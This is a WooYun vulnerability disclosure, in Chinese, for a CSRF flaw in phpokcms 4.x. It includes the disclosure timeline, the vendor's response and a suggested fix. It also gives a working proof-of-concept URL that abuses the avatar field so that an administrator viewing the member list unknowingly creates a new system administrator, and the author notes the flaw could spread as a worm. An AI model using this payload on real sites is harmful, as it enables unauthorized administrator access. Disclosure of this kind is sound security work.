漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-067384
漏洞标题:phpokcms 4.x CSRF漏洞
相关厂商:phpok.com
漏洞作者: do9gy
提交时间:2014-07-04 17:49
修复时间:2014-10-02 17:50
公开时间:2014-10-02 17:50
漏洞类型:CSRF
危害等级:中
自评Rank:10
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-07-04: 细节已通知厂商并且等待厂商处理中
2014-07-04: 厂商已经确认,细节仅向厂商公开
2014-07-07: 细节向第三方安全合作伙伴开放
2014-08-28: 细节向核心白帽子及相关领域专家公开
2014-09-07: 细节向普通白帽子公开
2014-09-17: 细节向实习白帽子公开
2014-10-02: 细节向公众公开
简要描述:
可蠕虫,可添加系统管理员。
详细说明:
phpokcms存在csrf漏洞,管理员查看会员列表时不知不觉会自动添加新的系统管理员。
位置在会员头像处的img标签,由于新闻评论可显示头像,也可蠕虫发评论。
下面仅证明添加管理员的部分。
具体代码分析了,直接poc。
漏洞证明:
注册会员后打开如下链接。(域名路径请视情况修改)
http://127.0.0.1/phpok/api.php?c=usercp&f=avatar&data=%2fphpok%2fadmin.php%3Fc%3Dadmin%26f%3Dsave%26id%3D%26account%3Dadmin2%26pass%3Dadmin2%26email%3Dadmin%2540a1.com%26status%3D1%26if_system%3D1
然后登录管理员后台,点击会员(此时一个名为admin2 密码为admin2的系统管理员已经添加成功。)
再打开设置,管理员维护去看一下即可。
修复方案:
修改设置头像接口,将url固定。 同时加强对关键功能的csrf控制,加入二次确认,或token。
版权声明:转载请注明来源 do9gy@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:15
确认时间:2014-07-04 22:00
厂商回复:
感谢您提供这个漏洞说明~我们会在月底更新程序时修复!
最新状态:
暂无